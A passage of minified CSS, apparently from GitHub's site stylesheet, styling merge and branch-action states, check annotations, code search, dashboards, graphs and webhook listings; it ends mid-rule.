.branch-action-body{border-color:var(--color-attention-emphasis)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::after,.branch-action-state-unstable .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unstable .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::before{background-color:var(--color-attention-emphasis)}.branch-action-state-merged .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis);border:1px solid transparent}.branch-action-state-merged .branch-action-body{border-color:var(--color-done-emphasis)}.branch-action-state-merged .branch-action-body::after,.branch-action-state-merged .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-merged .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-merged .branch-action-body::before{background-color:var(--color-done-emphasis)}.branch-action-state-dirty .branch-action-icon,.branch-action-state-closed-dirty .branch-action-icon,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.branch-action-state-dirty .branch-action-body,.branch-action-state-closed-dirty .branch-action-body,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body{border-color:var(--color-border-default)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{background-color:var(--color-border-default)}.branch-action-state-error .branch-action-icon,.is-merging .branch-action-state-error-if-merging .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent}.branch-action-state-error .branch-action-body,.is-merging .branch-action-state-error-if-merging .branch-action-body{border-color:var(--color-danger-emphasis)}.branch-action-state-error .branch-action-body::after,.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-error .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{background-color:var(--color-danger-emphasis)}.enqueued-pull-request .branch-action-body::after,.enqueued-pull-request .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.enqueued-pull-request .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.enqueued-pull-request .branch-action-body::before{background-color:var(--color-attention-emphasis)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.branch-action-body .spinner{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.merge-branch-form,.queue-branch-form{display:none;margin:16px 0}.merge-branch-form .commit-form,.queue-branch-form .commit-form{border-color:var(--color-success-emphasis)}.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:block;border-right-color:var(--color-border-default)}}.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:block}}.merge-branch-form.error .commit-form,.merge-branch-form.danger .commit-form,.queue-branch-form.error .commit-form,.queue-branch-form.danger .commit-form{border-color:var(--color-danger-emphasis)}.merge-branch-form.error .commit-form::before,.merge-branch-form.danger .commit-form::before,.queue-branch-form.error .commit-form::before,.queue-branch-form.danger .commit-form::before{border-right-color:var(--color-danger-emphasis)}.merge-button-matrix-merge-form .merge-branch-form{display:block}.completeness-indicator{display:flex;align-items:center;justify-content:center;width:30px;height:30px}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-problem{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-warning{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent;border-radius:50%}.pull-merging .pull-merging-error{display:none}.pull-merging.is-error .pull-merging-error{display:block}.pull-merging.is-error .merge-pr{display:none}.admin-options-block .admin-option-button{margin-top:8px}.admin-options-block .policy-enforcement{display:inline;margin-left:8px;color:var(--color-fg-muted)}.admin-options-block .policy-enforcement label{font-size:14px}.admin-options-block .disabled{color:var(--color-fg-muted)}.admin-options-block .disabled .note{color:var(--color-fg-muted)}.overflow-scroll-y{overflow-x:hidden !important;overflow-y:scroll !important}.business-menu-item:not([aria-current=page])+.business-sub-menu{display:none}.business-menu-icon{width:16px;margin-right:8px}.deprovisioning-checkbox>.show-if-disabled{display:none}.deprovisioning-checkbox.checkbox-disabled{color:var(--color-fg-muted)}.deprovisioning-checkbox.checkbox-disabled>.show-if-disabled{display:inherit}.dormant-users-recent-reports{gap:16px}.avatar-migration-status-badge{width:20px;height:20px}body.full-width-p-0 .new-discussion-timeline{padding:0 !important}body.full-width-p-0 .footer .mt-6{margin-top:0 !important;border-top:0 !important}body.full-width-p-0 .tabnav .tabnav-extra{margin-right:24px}body.full-width-p-0 .tabnav .tabnav-tabs{margin-left:16px}.actions-full-screen .pagehead,.actions-full-screen .hide-full-screen,.actions-full-screen .Header-old,.actions-full-screen .Header{display:none}.checks-list-item.selected .checks-list-item-name{background-color:var(--color-accent-emphasis) !important}.checks-list-item.selected .selected-color-white{color:var(--color-fg-on-emphasis) !important}.checks-list-item-icon{width:16px}.check-annotation{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.file .check-annotation{border-bottom:1px solid var(--color-border-default)}.file .check-annotation:last-child{border-bottom:0}.check-annotation .annotation-actions{top:4px;right:8px}.check-annotation .annotation-octicon{width:16px}.check-annotation.Details--on .Details-content--hidden{display:block !important}.annotation-title{word-break:break-all}.check-annotation-failure{box-shadow:inset 4px 0 0 var(--color-danger-emphasis)}.check-annotation-failure .annotation-title{color:var(--color-danger-fg)}.check-annotation-warning{box-shadow:inset 4px 0 0 var(--color-attention-emphasis)}.check-annotation-warning .octicon-alert{color:var(--color-attention-fg)}.check-annotation-warning .annotation-title{color:var(--color-attention-fg)}.neutral-check{color:var(--color-fg-muted)}.code-frequency .addition{fill:#2cbe4e;fill-opacity:1}.code-frequency .deletion{fill:var(--color-danger-emphasis);fill-opacity:1}.code-list .file-box{border:1px solid var(--color-border-default);border-radius:6px}.code-list .title{min-height:24px;margin:-4px 0 8px 40px;font-weight:600;line-height:1.2}.code-list .repo-specific .title,.code-list .repo-specific .full-path{margin-left:0}.code-list .match-count,.code-list .updated-at{margin:0;font-weight:400}.code-list .language{float:right;margin-left:8px;font-size:12px;color:rgba(51,51,51,.75)}.code-list .avatar{float:left}.code-list .code-list-item+.code-list-item{border-top:1px solid var(--color-border-muted)}.code-list .blob-num{padding:0}.code-list .blob-num::before{content:normal}.code-list .blob-num a{padding:0 8px;color:inherit}.code-list .blob-num a:hover{color:var(--color-accent-fg)}.code-list .blob-code{white-space:pre-wrap}.code-list .divider .blob-num,.code-list .divider .blob-code{padding-top:0;padding-bottom:0;cursor:default;background-color:var(--color-canvas-subtle)}.code-list .divider .blob-num{height:18px;padding:0 8px;line-height:15px;background-color:var(--color-canvas-subtle)}.code-list .full-path{margin:0 0 0 40px}.code-list .full-path .octicon-repo{color:var(--color-fg-muted)}.code-list .full-path .octicon-lock{color:var(--color-attention-fg)}.code-list .full-path a{color:var(--color-fg-muted)}.code-list-item-private .file-box{border:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num{background-color:var(--color-attention-subtle);border-right:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num a{color:var(--color-attention-fg)}.code-list-item-private .divider .blob-num,.code-list-item-private .divider .blob-code{color:var(--color-attention-fg);background-color:var(--color-attention-subtle)}.code-scanning-alert-warning-message{border-color:var(--color-attention-emphasis) !important}.code-scanning-font-size-inherit{font-size:inherit !important}.cs-message .md-list{padding-left:2em}.code-scanning-timeline .TimelineItem:last-of-type.code-scanning-alert-dismissal-comment::before{width:0}.codesearch-head.pagehead h1{width:250px;line-height:33px}@media(min-width: 768px){.advanced-search-form .flattened dt{width:230px}.advanced-search-form .flattened dt label{font-weight:400}.advanced-search-form .flattened dd{margin-left:250px}.advanced-search-form .form-checkbox{margin-left:250px}}.codesearch-results .code-list .title a{word-wrap:break-word}.codesearch-results .repo-list-item{border-bottom:0}.codesearch-results .repo-list-item+.repo-list-item{border-top:1px solid var(--color-border-default)}.search-form-fluid .TableObject-item--primary{position:relative;padding-right:8px}.search-form-fluid .completed-query{position:absolute;z-index:1;padding:inherit;margin:0;overflow:hidden;white-space:nowrap}.search-form-fluid .completed-query span{opacity:0}.search-form-fluid .search-page-label{position:relative;display:block;font-weight:400;cursor:text}.search-form-fluid .search-page-label.focus .completed-query{opacity:.6}.search-form-fluid .search-page-input{position:relative;z-index:2;min-height:0;padding:0;margin:0;background:none;border:0;box-shadow:none}.search-form-fluid .search-page-input:focus{box-shadow:none}.topics-row-container{height:30px;overflow:hidden}@media(max-width: 544px){.codesearch-pagination-container a:not(.next_page):not(.previous_page),.codesearch-pagination-container .gap{display:none}.codesearch-pagination-container .previous_page,.codesearch-pagination-container .next_page{width:100%}.codesearch-pagination-container .current{color:var(--color-fg-muted);background:var(--color-canvas-default);border-color:var(--color-border-default)}.codesearch-pagination-container .current::after{content:" of " attr(data-total-pages)}}.codespaces-policy-form details>summary::-webkit-details-marker{display:none}.codespaces-wider-select-menu-modal{width:420px;margin-right:32px}.codespaces-policy-item-no-hover:hover{background-color:var(--color-canvas-overlay)}.codespaces-policy-constraint-menu-item-muted-hover:hover{color:var(--color-fg-default);background-color:var(--color-btn-hover-bg)}.codespaces-policy-form-button-hover:hover .codespaces-policy-form-button-text-hover{border-color:var(--color-btn-hover-bg) !important}.codespaces-policy-form-button-hide-border{border-color:var(--color-scale-white) !important}.codespaces-policy-form-blue-hover:hover{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:hover svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:focus svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-danger-hover:hover{background-color:var(--color-danger-subtle) !important}.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}@media(prefers-color-scheme: light){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: dark){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-dark.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: no-preference){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}.commit-activity-master{margin-top:16px}.is-graph-loading .commit-activity-master{display:none}rect{shape-rendering:crispedges}rect.max{fill:var(--color-attention-fg)}g.bar{fill:var(--color-success-fg)}g.mini{fill:var(--color-severe-fg)}g.active rect{fill:var(--color-danger-fg)}circle.focus{fill:var(--color-fg-muted)}.dot text{fill:var(--color-fg-muted);stroke:none}span.no-nl-marker{position:relative;color:var(--color-danger-fg);vertical-align:middle}.symlink .no-nl-marker{display:none}.range-editor{position:relative;padding:4px 16px 4px 40px;margin-top:16px;margin-bottom:16px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.range-editor .dots{font-size:16px}.range-editor .select-menu{position:relative;display:inline-block}.range-editor .select-menu.fork-suggester{display:none}.range-editor .branch-name{line-height:22px}.range-editor .branch .css-truncate-target,.range-editor .fork-suggester .css-truncate-target{max-width:180px}.range-editor .pre-mergability{display:inline-block;padding:4px;line-height:26px;vertical-align:middle}.range-editor .pre-mergability .octicon{vertical-align:text-bottom}.range-editor.is-cross-repo .select-menu.fork-suggester{display:inline-block}.range-editor-icon{float:left;margin-top:8px;margin-left:-24px;color:var(--color-fg-muted)}.compare-pr-header{display:none}.is-pr-composer-expanded .compare-show-header{display:none}.is-pr-composer-expanded .compare-pr-header{display:block}.range-cross-repo-pair{display:inline-block;padding:4px;white-space:nowrap}.tint-box{position:relative;margin-bottom:8px;background:var(--color-canvas-subtle);border-radius:6px}.tint-box.transparent{background:var(--color-canvas-default)}.tint-box .activity{padding-top:100px;margin-top:0}.contrib-person path{fill:var(--color-severe-fg)}.contrib-person .midlabel{fill:var(--color-neutral-emphasis)}.coupons .setup-plans td img{margin-top:-2px;vertical-align:middle}.coupons .coupon-form-body{width:270px;padding:16px;margin:100px auto 60px;font-size:14px;text-align:center;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.coupons .coupon-form-body .input-block{margin-bottom:16px}.coupons .coupon-form-body .btn{display:block;width:100%}.coupon-icon{width:80px;height:80px;margin:0 auto 16px;color:var(--color-accent-fg);border:1px solid var(--color-border-default);border-radius:40px}.coupon-icon .octicon{margin-top:16px;margin-right:2px}.coupons-list-options .select-menu{display:inline-block;margin-right:8px}.coupons-list-options .pagination{float:right;margin:0}.repo-private-icon{fill:var(--color-attention-fg)}.dashboard-rollup-items>.dashboard-rollup-item{border-top:1px solid var(--color-border-default)}.news-full{float:none;width:auto}.dashboard-break-word{-webkit-hyphens:auto;hyphens:auto;word-break:break-word}.news .bio g-emoji,.news .repo-description g-emoji{display:inline-block}.news .feed-item-heading-menu-button{color:var(--color-fg-muted)}.news .feed-item-heading-menu-button:hover{color:var(--color-fg-default)}.suggest-icon{width:48px;height:48px;padding:4px}.suggest-icon svg,.suggest-icon path{fill:#fff}.suggest-icon svg::before,.suggest-icon path::before{bottom:-6px;left:-4px;background-color:#9e7bff}.suggest-icon svg::after,.suggest-icon path::after{top:-5px;right:-5px;width:5px;height:5px;background-color:#6c84e9}.suggest-icon .suggest-icon-bubble{position:absolute;width:6px;height:6px;background-color:#6c84e9;border-radius:50%}.suggest-icon .suggest-icon-bubble:nth-of-type(2n){width:4px;height:4px;background-color:#9e7bff}.suggest-icon .suggest-icon-bubble:nth-of-type(1){bottom:-7px;left:-7px}.suggest-icon .suggest-icon-bubble:nth-of-type(2){top:-4px;right:4px}.suggest-icon .suggest-icon-bubble:nth-of-type(3){top:-7px;right:-8px}.dashboard-notice{position:relative;padding:16px 16px 16px 55px;margin-bottom:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.dashboard-notice .dismiss{position:absolute;top:10px;right:10px;width:16px;height:16px;color:var(--color-fg-muted);cursor:pointer}.dashboard-notice .dismiss:hover{color:var(--color-fg-muted)}.dashboard-notice .notice-icon{position:absolute;top:15px;left:15px}.dashboard-notice .octicon-organization{color:var(--color-accent-fg)}.dashboard-notice h2{margin-top:8px;margin-bottom:16px;font-size:16px;font-weight:400;color:var(--color-fg-default)}.dashboard-notice p.no-title{padding-right:4px}.dashboard-notice ul{margin-left:16px}.dashboard-notice li{padding-bottom:16px}.dashboard-notice .coupon{padding:8px;margin:16px 0;font-size:20px;font-weight:600;text-align:center;background:var(--color-canvas-default);border:1px dashed var(--color-border-default)}.dashboards-overview-lead{width:700px}.dashboards-overview-cards .boxed-group{width:100%;margin:8px 0}.dashboards-overview-cards .boxed-group .graph-canvas path{stroke-opacity:.5}.dashboards-overview-cards .is-no-activity .blankslate{display:block}.dashboards-overview-cards .is-no-activity .dashboards-overview-graph{display:none}.dashboards-overview-cards .blankslate{display:none;padding-top:47px;background-color:var(--color-canvas-default);border:0;box-shadow:none}.dashboards-overview-cards .octicon-arrow-down,.dashboards-overview-cards .octicon-arrow-up{display:none}.dashboards-overview-cards .is-increase .octicon-arrow-up{display:inline-block}.dashboards-overview-cards .is-decrease .octicon-arrow-down{display:inline-block}.dashboards-overview-cards .octicon-arrow-down{color:var(--color-danger-fg)}.dashboards-overview-cards .octicon-arrow-up{color:#1db34f}.dashboards-overview-cards .graph-canvas .dots{padding:43px 0}.dashboards-overview-cards .summary-stats{height:78px}.dashboards-overview-cards .summary-stats .metric-0{color:#1db34f}.dashboards-overview-cards .summary-stats .metric-1{color:var(--color-accent-fg)}.dashboards-overview-cards .summary-stats .totals-num{margin:0 8px}.dashboards-overview-cards .summary-stats .single{width:100%}.dashboards-overview-cards .dashboards-overview-graph{height:160px}.dashboards-overview-cards .dashboards-overview-graph path{fill:none;stroke-width:2}.dashboards-overview-cards .dashboards-overview-graph path.metric-0{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph path.metric-1{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .y line{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph .y.unique line{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .overlay{fill-opacity:0}.dashboards-overview-cards .metric-0 circle{fill:#1db34f;stroke:#fff;stroke-width:2}.dashboards-overview-cards .dots.metric-1 circle{fill:#1d7fb3;stroke:#fff;stroke-width:2}dl.form.developer-select-account{margin-top:0}.developer-wrapper .setup-info-module .features-list{margin-left:16px}.developer-wrapper .setup-info-module .features-list .octicon{margin-left:-16px}.developer-thanks h2{font-size:40px;font-weight:400}.developer-thanks .hook{margin-top:2px;margin-bottom:32px;font-size:16px;font-weight:300;color:var(--color-fg-muted)}.developer-thanks-image{position:relative;bottom:-45px;float:left;width:400px}.developer-thanks-section{margin:130px 0 0 470px}.developer-next-steps{font-size:16px;font-weight:300;list-style:none}.developer-next-steps li{margin-top:8px}.developer-next-steps li:first-child{margin-top:0}.developer-next-steps .octicon{margin-right:8px;color:var(--color-success-fg);vertical-align:middle}.file-diff-split[data-lock-side-selection=left] [data-split-side=right],.file-diff-split[data-lock-side-selection=right] [data-split-side=left]{-webkit-user-select:none;user-select:none}.invisible{position:absolute;opacity:0}.icon-discussion-answered{color:var(--color-success-fg)}.icon-discussion-answered,.icon-discussion-answered path{fill:var(--color-success-emphasis)}.icon-discussion-white{color:var(--color-discussions-state-answered-icon) !important}.icon-discussion-white,.icon-discussion-white path{fill:var(--color-discussions-state-answered-icon) !important}.icon-discussion-gray{color:var(--color-fg-default)}.icon-discussion-gray,.icon-discussion-gray path{fill:var(--color-fg-default)}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-checked=true]:hover,.label-select-menu .select-menu-item[aria-checked=true]:focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item-icon,.label-select-menu .label-options-icon{color:inherit !important}.user-has-reacted .octicon{fill:var(--color-accent-fg)}.donut-chart>.error,.donut-chart>.cancelled,.donut-chart>.action_required,.donut-chart>.timed_out,.donut-chart>.failure{fill:var(--color-checks-donut-error)}.donut-chart>.expected,.donut-chart>.queued,.donut-chart>.in_progress,.donut-chart>.waiting,.donut-chart>.requested,.donut-chart>.pending{fill:var(--color-checks-donut-pending)}.donut-chart>.success{fill:var(--color-checks-donut-success)}.donut-chart>.neutral,.donut-chart>.stale,.donut-chart>.skipped{fill:var(--color-checks-donut-neutral)}.survey-question-form .other-text-form,.survey-question-form .other-text-form-block{display:none;margin-top:0}.survey-question-form.is-other-selected .other-text-form{display:inline-block}.survey-question-form.is-other-selected .other-text-form-block{display:block}.ghe-license-status{padding:40px 0;font-size:16px;text-align:center}.ghe-license-status .octocat{width:225px;margin-bottom:16px}.ghe-license-status h1{margin-bottom:8px}.ghe-license-status p{margin-bottom:4px;color:var(--color-fg-muted)}.ghe-license-expiry-icon{margin:4px 8px 0 0;color:var(--color-attention-fg)}.feature-preview-dialog{width:90vw;max-width:880px;height:60vh;min-height:240px;max-height:700px}.feature-preview-dialog .feature-preview-info{height:60vh;min-height:183px;max-height:calc(100% - 57px)}.file{position:relative;margin-top:16px;margin-bottom:16px;border:1px solid var(--color-border-default, #ddd);border-radius:6px}.file .drag-and-drop{border:0;border-top:1px dashed var(--color-border-default)}.file:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.file .data.empty{padding:4px 8px;color:var(--color-fg-muted)}.file:not(.open) .file-header.file-header--expandable{border-bottom:0;border-radius:6px}.file .data.suppressed,.file.open .image{display:none}.file.open .data.suppressed{display:block}.file .image{position:relative;padding:32px;text-align:center;background-color:#ddd}.file .image table{margin:0 auto}.file .image td{padding:0 4px;color:var(--color-fg-muted);text-align:center;vertical-align:top}.file .image td img{max-width:100%}.file .image .border-wrap{position:relative;display:inline-block;line-height:0;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default)}.file .image a{display:inline-block;line-height:0}.file .image img,.file .image canvas{max-width:600px;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee;border:1px solid #fff}.file .image .view img,.file .image .view canvas{position:relative;top:0;right:0;max-width:inherit;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee}.file .image .view>span{vertical-align:middle}.file .empty{background:none}.file-header{z-index:2;padding:4px 8px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.file-header::before{display:table;content:""}.file-header::after{display:table;clear:both;content:""}.file-actions{float:right;padding-top:2px;font-size:12px}.file-actions select{margin-left:4px}.file-info{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:32px}.file-info .octicon{vertical-align:text-bottom}.sticky-file-header{position:sticky;top:60px}.diff-progressive-loader{min-height:150px}.load-diff-button,.load-diff-retry{z-index:1;min-height:32px}.diff-placeholder-svg{clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%)}.ghae-bootstrap-container{min-height:calc(100vh - 54px)}.ghae-bootstrap-incomplete-step{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.ghae-bootstrap-complete-step{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.ghae-enterprise-name-form-error{left:50%;transform:translateX(-50%)}.graphs .area{fill:var(--color-success-emphasis);fill-opacity:.5}.graphs .path{fill:none;stroke:var(--color-success-emphasis);stroke-opacity:1;stroke-width:2px}.graphs .dot{fill:var(--color-success-emphasis);stroke:#1e7e34;stroke-width:2px}.graphs .dot.padded{stroke:var(--color-canvas-default);stroke-width:1px}.graphs .dot.padded circle:hover{fill:var(--color-accent-emphasis)}.graphs .d3-tip{fill:var(--color-neutral-emphasis)}.graphs .d3-tip text{font-size:12px;fill:var(--color-canvas-default)}.graphs .dir{float:right;padding-top:4px;font-size:12px;font-weight:400;line-height:100%;color:var(--color-fg-muted)}.graphs .selection .overlay{visibility:none}.graphs .selection .selection{fill:var(--color-neutral-emphasis);fill-opacity:.1;stroke:var(--color-fg-default);stroke-dasharray:3 3;stroke-opacity:.4;stroke-width:1px;shape-rendering:crispedges}.graph-filter h3{display:inline-block;font-size:24px;font-weight:300}.graph-filter .info{margin-bottom:16px;color:var(--color-fg-muted)}.graph-canvas .activity{width:400px;padding:8px;margin:100px auto 0;color:var(--color-fg-default);text-align:center;border-radius:6px}.graph-canvas .dots{margin:0 auto}.graph-canvas>.activity{display:none}.graph-canvas .axis{font-size:12px}.graph-canvas .axis line{stroke:var(--color-border-default);shape-rendering:crispedges}.graph-canvas .axis text{fill:var(--color-fg-muted)}.graph-canvas .axis path{display:none}.graph-canvas .axis .zero line{stroke:var(--color-accent-emphasis);stroke-dasharray:3 3;stroke-width:1.5}.graph-canvas text.axis{fill:var(--color-fg-muted)}.graph-canvas .graph-loading,.graph-canvas .graph-error,.graph-canvas .graph-no-usable-data,.graph-canvas .graph-empty{display:none}.graph-canvas.is-graph-loading>.activity,.graph-canvas.is-graph-without-usable-data>.activity,.graph-canvas.is-graph-empty>.activity{display:block}.graph-canvas.is-graph-loading .graph-loading,.graph-canvas.is-graph-empty .graph-empty,.graph-canvas.is-graph-without-usable-data .graph-no-usable-data,.graph-canvas.is-graph-load-error .graph-error{display:block}.svg-tip{position:absolute;z-index:99999;padding:8px 16px;font-size:12px;color:var(--color-fg-on-emphasis);text-align:center;background:var(--color-neutral-emphasis-plus);border-radius:6px}.svg-tip.is-visible{display:block}.svg-tip::after{position:absolute;bottom:-10px;left:50%;width:5px;height:5px;box-sizing:border-box;margin:0 0 0 -4px;content:" ";border:5px solid transparent;border-top-color:var(--color-neutral-emphasis-plus)}.svg-tip.left::after{left:10%}.svg-tip.right::after{left:90%}.svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.svg-tip.comparison .title{display:block;padding:8px;margin:0;font-weight:600;line-height:1;pointer-events:none}.svg-tip.comparison ul{padding:4px 8px 8px 8px;margin:0;white-space:nowrap;list-style:none}.svg-tip.comparison li{display:inline-block;padding-top:16px}.svg-tip.comparison .metric-0,.svg-tip.comparison .metric-1{position:relative}.svg-tip.comparison .metric-0::before,.svg-tip.comparison .metric-1::before{position:absolute;top:0;right:0;left:0;height:4px;content:"";border:1px solid var(--color-border-default);border-radius:6px}.svg-tip.comparison .metric-0::before{background-color:var(--color-success-emphasis)}.svg-tip.comparison .metric-1::before{background-color:var(--color-accent-emphasis)}.svg-tip-one-line{white-space:nowrap}.activity-overview-axis,.activity-overview-point{stroke:var(--color-calendar-graph-day-L4-bg)}.halloween-activity-overview .activity-overview-axis,.halloween-activity-overview .activity-overview-point{stroke:var(--color-calendar-halloween-graph-day-L4-bg)}.activity-overview-label{fill:var(--color-fg-muted)}.activity-overview-percentage{font-size:12px;fill:var(--color-fg-muted)}.team-breadcrumb .team-breadcrumb-item{display:inline-block}.team-breadcrumb .team-breadcrumb-item::after{padding-right:.5em;padding-left:.5em;color:var(--color-neutral-muted);content:"/"}.team-breadcrumb .team-breadcrumb-item-selected::after{content:none}.team-discussions-container{min-height:100vh}.team-left-column{max-width:100%}@media(min-width: 768px){.team-left-column{max-width:350px}}.team-left-column .team-avatar{width:80px;height:80px}@media(min-width: 768px){.team-left-column .team-avatar{width:140px;height:140px}}.team-discussions{max-width:768px}.team-discussions .previewable-comment-form .comment{border:0}.team-discussions .previewable-comment-form .toolbar-commenting.toolbar-commenting.toolbar-commenting{background:transparent}.team-discussions .previewable-comment-form .tabnav-tab.selected{background-color:var(--color-canvas-default)}.hooks-listing .boxed-group-action.select-menu{z-index:auto}.hooks-listing .boxed-group-inner{padding:0 8px;margin-bottom:8px}.hook-item a:hover{text-decoration:none}.hook-item .item-status{float:left;width:16px;margin-right:8px;text-align:center}.hook-item .description{color:var(--color-fg-muted)}.hook-item .description .css-truncate-target{max-width:160px}.hook-item .icon-for-success,.hook-item .icon-for-failure,.hook-item .icon-for-pending,.hook-item .icon-for-inactive{display:none}.hook-item.success .icon-for-success{display:inline-block;color:var(--color-success-fg)}.hook-item.failure .icon-for-failure{display:inline-block;color:var(--color-danger-fg)}.hook-item.pending .icon-for-pending{display:inline-block;color:var(--color-fg-muted)}.hook-item.inactive .icon-for-inactive{display:inline-block;color:var(--color-fg-muted)}.hook-item .icon-for-enabled,.hook-item .icon-for-disabled{display:none}.hook-item.enabled .icon-for-enabled{display:inline-block;color:var(--color-success-fg)}.hook-item.disabled .icon-for-disabled{display:inline-block;color:var(--color-fg-muted)}.hook-item .hook-error-message{margin-left:24px;color:var(--color-danger-fg)}.hook-url.css-truncate-target{max-width:360px}.hooks-oap-warning{margin-top:0}.hooks-oap-warning ul{margin:8px 0}.hooks-oap-warning ul 